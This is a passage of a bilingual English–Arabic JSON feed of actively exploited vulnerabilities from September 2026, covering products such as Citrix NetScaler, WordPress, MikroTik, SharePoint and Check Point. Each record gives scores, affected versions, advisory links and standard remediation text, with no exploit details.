الخدمة."},"refs":[["https://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778","advisory"],["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096","advisory"],["https://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-88772","advisory"],["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096&articleTitle=Citrix_NetScaler_ADC_and_Citrix_NetScaler_Gateway_Security_Bulletin_for_CVE_2026_88771_CVE_2026_88772_CVE_2026_88773_CVE_2026_88774_CVE_2026_88775_CVE_2026_88776_CVE_2026_88777_and_CVE_2026_88778","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-88772","ref"]],"epss":0.7816,"kevAdded":"2026-09-27T00:00:00Z","kevDue":"2026-09-30T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"citrix-netscaler"},{"id":"CVE-2026-88771","cvss":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-27T16:02:07Z","product":"Citrix NetScaler","affected":[["0 – <14.1-73.37","14.1-73.37"],["0 – <13.1-64.23","13.1-64.23"]],"title":{"en":"Citrix NetScaler Improper Input Validation Vulnerability","ar":"ثغرة التحقق غير السليم من المدخلات في منتج Citrix NetScaler"},"summary":{"en":"Citrix NetScaler ADC and NetScaler Gateway contain an improper input validation vulnerability that could allow an unauthenticated attacker to execute arbitrary commands.","ar":"يحتوي منتجا Citrix NetScaler ADC وNetScaler Gateway على ثغرة تحقق غير سليم من المدخلات والتي قد تسمح لمهاجم دون مصادقة بتنفيذ أوامر عشوائية."},"refs":[["https://community.citrix.com/techzone-blogs/110_security-updates/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve-2026-88771-through-cve-2026-88778","advisory"],["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096","advisory"],["https://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-88772","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-88771","ref"]],"epss":0.8216,"kevAdded":"2026-09-27T00:00:00Z","kevDue":"2026-09-30T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"citrix-netscaler"},{"id":"CVE-2026-87902","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-98","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-25T00:00:00Z","product":"WordPress Core","affected":[["0 – <7.1.2","7.1.2"]],"title":{"en":"WordPress Core Remote File Inclusion Vulnerability","ar":"ثغرة تضمين الملفات عن بُعد في نواة WordPress Core"},"summary":{"en":"WordPress Core contains a remote file inclusion vulnerability which could allow an unauthenticated attacker to make page-template resolution include a chosen readable local `.php` file outside the active theme directories, leading to remote code execution.","ar":"تحتوي نواة WordPress Core على ثغرة تضمين الملفات عن بُعد والتي قد تسمح لمهاجم دون مصادقة بجعل عملية تحليل قالب الصفحة تتضمن ملف `.php` محليًا وقابلًا للقراءة يتم اختيارُه خارج مجلات السمات النشطة، مما يؤدي إلى تنفيذ أوامر عن بُعد."},"refs":[["https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-87902","advisory"],["https://patchstack.com/articles/cve-2026-87902-attackers-started-probing-wordpress-sites-hours-after-the-patch/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-87902","ref"]],"epss":0.9577,"kevAdded":"2026-09-25T00:00:00Z","kevDue":"2026-09-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"wordpress"},{"id":"CVE-2026-67279","cvss":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-841","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-25T00:00:00Z","product":"MikroTik RouterOS","affected":[["7.24 – <7.24.2","7.24.2"],["7.0.0 – <7.23.4","7.23.4"],["6.0.0 – <6.49.21","6.49.21"]],"title":{"en":"Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability","ar":"ثغرة فرض سير العمل السلوكي بشكل غير سليم في Mikrotik RouterOS"},"summary":{"en":"Mikrotik RouterOS contains an improper enforcement of behavioral workflow vulnerability that could allow an unauthenticated client to open a session channel and send an exec request. This vulnerability can be chained to achieve unauthenticated exploitation of CVE-2026-86060.","ar":"يحتوي نظام Mikrotik RouterOS على ثغرة فرض سير العمل السلوكي بشكل غير سليم والتي قد تسمح لعميل دون مصادقة بفتح قناة جلسة وإرسال طلب تنفيذ. يمكن دمج هذه الثغرة لاستغلال CVE-2026-86060 دون مصادقة."},"refs":[["https://mikrotik.com/supportsec/september-2026-vulnerability","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-67279","advisory"],["https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve","advisory"],["https://mikrotik.com/supportsec/september-2026-vulnerability/","advisory"],["https://bishopfox.com/blog/mikrotrick-inside-the-routeros-takeover-chain","advisory"],["https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/","ref"],["https://npratley.net/reversing-mikrotiks-silent-patch-the-routeros-7-23-4-fix-they-wouldnt-explain/","ref"],["https://forum.mikrotik.com/t/6-49-21-long-term-is-released/272802","ref"],["https://forum.mikrotik.com/t/7-23-4-long-term-is-released/272801","ref"],["https://forum.mikrotik.com/t/7-24-2-stable-is-released/272800","ref"]],"epss":0.0228,"kevAdded":"2026-09-25T00:00:00Z","kevDue":"2026-09-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"mikrotik-routeros"},{"id":"CVE-2026-65660","cvss":8.8,"vector":null,"cwe":"CWE-94","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-25T00:00:00Z","product":"Microsoft SharePoint","affected":[["16.0.0 – <16.0.5565.1001","16.0.5565.1001"],["16.0.0 – <16.0.10417.20198","16.0.10417.20198"],["16.0.0 – <16.0.19725.20522","16.0.19725.20522"]],"title":{"en":"Microsoft SharePoint Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات في Microsoft SharePoint"},"summary":{"en":"Microsoft SharePoint contains a code injection vulnerability which could allow an authorized attacker to execute code over a network.","ar":"يحتوي Microsoft SharePoint على ثغرة حقن شيفرات والتي قد تسمح لمهاجم مفوض بتنفيذ شيفرة عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65660","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-65660","advisory"],["https://blog.previdian.com/cve-2026-65660-previdian-observes-two-stage-sharepoint-exploitation-attempts/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-65660","ref"]],"epss":0.0819,"kevAdded":"2026-09-25T00:00:00Z","kevDue":"2026-09-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-71362","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-24T00:00:00Z","product":"Adobe Commerce and Magento","affected":[],"title":{"en":"Adobe Commerce and Magento Incorrect Authorization Vulnerability","ar":"ثغرة التفويض غير الصحيح في Adobe Commerce و Magento"},"summary":{"en":"Adobe Commerce and Magento contains an incorrect authorization vulnerability that could allow an attacker to leverage this vulnerability to gain elevated access to sensitive resources without any user interaction.","ar":"يحتوي Adobe Commerce و Magento على ثغرة تفويض غير صحيح قد تسمح للمهاجم بالاستفادة من هذه الثغرة للحصول على صلاحيات مرتفعة للوصول إلى موارد حساسة دون أي تفاعل من المستخدم."},"refs":[["https://helpx.adobe.com/security/products/magento/apsb26-92.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-71362","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-71362","ref"]],"epss":0.9049,"kevAdded":"2026-09-24T00:00:00Z","kevDue":"2026-09-27T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"adobe-commerce-and-magento"},{"id":"CVE-2026-5430","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-347","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-24T00:00:00Z","product":"WSO2 Multiple Products","affected":[["4.5.0 – <4.5.0.57","4.5.0.57"],["4.6.0 – <4.6.0.21","4.6.0.21"],["4.5.0 – <4.5.0.56","4.5.0.56"],["4.5.0 – <4.5.0.58","4.5.0.58"],["4.6.0 – <4.6.0.22","4.6.0.22"],["4.1.0 – <4.1.0.257","4.1.0.257"],["4.2.0 – <4.2.0.197","4.2.0.197"],["4.3.0 – <4.3.0.108","4.3.0.108"],["4.4.0 – <4.4.0.72","4.4.0.72"],["9.20.74 – <9.20.74.401","9.20.74.401"],["9.28.116 – <9.28.116.417","9.28.116.417"],["9.29.120 – <9.29.120.236","9.29.120.236"]],"title":{"en":"WSO2 Multiple Products Path Traversal Vulnerability","ar":"ثغرة تجاوز المسار في منتجات WSO2 المتعددة"},"summary":{"en":"WSO2 API Control Plane, API Manager, Traffic Manager & Universal Gateway contain a path traversal vulnerability that could allow for unrestricted file upload and lead to remote code execution.","ar":"تحتوي منتجات WSO2 API Control Plane و API Manager و Traffic Manager و Universal Gateway على ثغرة تجاوز المسار قد تسمح برفع ملفات دون قيود وتؤدي إلى تنفيذ أوامر عن بُعد."},"refs":[["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5328/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-5430","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-5430","ref"]],"epss":0.2239,"kevAdded":"2026-09-24T00:00:00Z","kevDue":"2026-09-27T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"wso2-multiple-products"},{"id":"CVE-2026-94127","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-22T14:17:42Z","product":"F5 BIG-IP APM","affected":[["21.1.0 – <Hotfix-BIGIP-21.1.0.2.0.30.22-ENG","Hotfix-BIGIP-21.1.0.2.0.30.22-ENG"],["17.5.0 – <Hotfix-BIGIP-17.5.1.9.0.160.12-ENG","Hotfix-BIGIP-17.5.1.9.0.160.12-ENG"],["17.1.0 – <Hotfix-BIGIP-17.1.3.5.0.41.14-ENG","Hotfix-BIGIP-17.1.3.5.0.41.14-ENG"]],"title":{"en":"F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based Buffer Overflow) في F5 BIG-IP APM"},"summary":{"en":"F5 BIG-IP APM contains a heap-based buffer overflow vulnerability when access policy and an OAuth profile are configured on a virtual server. This vulnerability could allow an unauthenticated attacker to perform remote code execution.","ar":"يحتوي F5 BIG-IP APM على ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية عند تكوين سياسة الوصول وملف تعريف OAuth على خادم افتراضي. قد تسمح هذه الثغرة لمهاجم دون مصادقة بتنفيذ أوامر عن بُعد."},"refs":[["https://my.f5.com/manage/s/article/K000162605","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-94127","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-94127","ref"]],"epss":0.2655,"kevAdded":"2026-09-22T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"f5-big-ip-apm"},{"id":"CVE-2026-93616","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-22T12:59:01Z","product":"Check Point Multiple Products","affected":[],"title":{"en":"Check Point Multiple Products Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في منتجات Check ؤoint المتعددة"},"summary":{"en":"Check Point Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent contain a path traversal vulnerability that allows an unauthenticated attacker to upload and execute arbitrary scripts.","ar":"تحتوي منتجات Check Point Security Management Server و Multi-Domain Security Management Server و Log Server و Multi-Domain Log Server و SmartEvent على ثغرة اجتياز المسار التي تسمح لمهاجم دون مصادقة بتحميل وتنفيذ شيفرات عشوائية."},"refs":[["https://support.checkpoint.com/results/sk/sk1000171/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-93616","advisory"],["https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-cve-2026-85102-and-a-management-pre-authentication-vulnerability-cve-2026-93616/","advisory"],["https://support.checkpoint.com/results/sk/sk1000171","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-93616","ref"]],"epss":0.9161,"kevAdded":"2026-09-22T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"check-point-multiple-products"},{"id":"CVE-2026-93952","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-22T07:37:24Z","product":"Arista VeloCloud Orchestrator","affected":[["5.2.0 – 5.2.3.15",null],["6.1.0 – 6.1.3.7",null],["6.4.0 – 6.4.2.7",null],["7.0.0 – 7.0.0.2",null]],"title":{"en":"Arista VeloCloud Orchestrator Improper Input Validation Vulnerability","ar":"ثغرة التحقق غير السليم من المدخلات في Arista VeloCloud Orchestrator"},"summary":{"en":"Arista VeloCloud Orchestrator (VCO) on-prem contains an improper input validation vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.","ar":"يحتوي إصدار الخادم المحلي من Arista VeloCloud Orchestrator (VCO) على ثغرة تحقق غير سليم من المدخلات قد تسمح لمهاجم عن بُعد بالوصول إلى وظائف داخلية مميزة والتأثير على مضيف VCO. قد يؤدي الاستغلال الناجح إلى الإضرار بسرية وسلامة وتوافر المنسق والبيانات التي يديرها المنسق."},"refs":[["https://www.arista.com/en/support/advisories-notices/security-advisory/24765-security-advisory-0183","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-93952","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-93952","ref"]],"epss":0.0138,"kevAdded":"2026-09-22T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"arista-velocloud-orchestrator"},{"id":"CVE-2026-85102","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-295","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-22T00:00:00Z","product":"Check Point Multiple Products","affected":[],"title":{"en":"Check Point Multiple Products Improper Certificate Validation Vulnerability","ar":"ثغرة التحقق غير السليم من الشهادات في منتجات Check Point المتعددة"},"summary":{"en":"Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.","ar":"تحتوي منتجات Check Point Security Gateway و Check Point Spark Firewall التي تستخدم Site to Site VPN أو Remote Access VPN على ثغرة تحقق غير سليم من الشهادات، مما قد يسمح لمهاجم عن بُعد دون مصادقة بتنفيذ شيفرة عشوائية على البوابة."},"refs":[["https://support.checkpoint.com/results/sk/sk1000117","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-85102","advisory"],["https://blog.checkpoint.com/security/security-advisory-action-required-active-exploitation-of-cve-2026-85102-and-a-management-pre-authentication-vulnerability-cve-2026-93616/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85102","ref"]],"epss":0.5414,"kevAdded":"2026-09-22T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 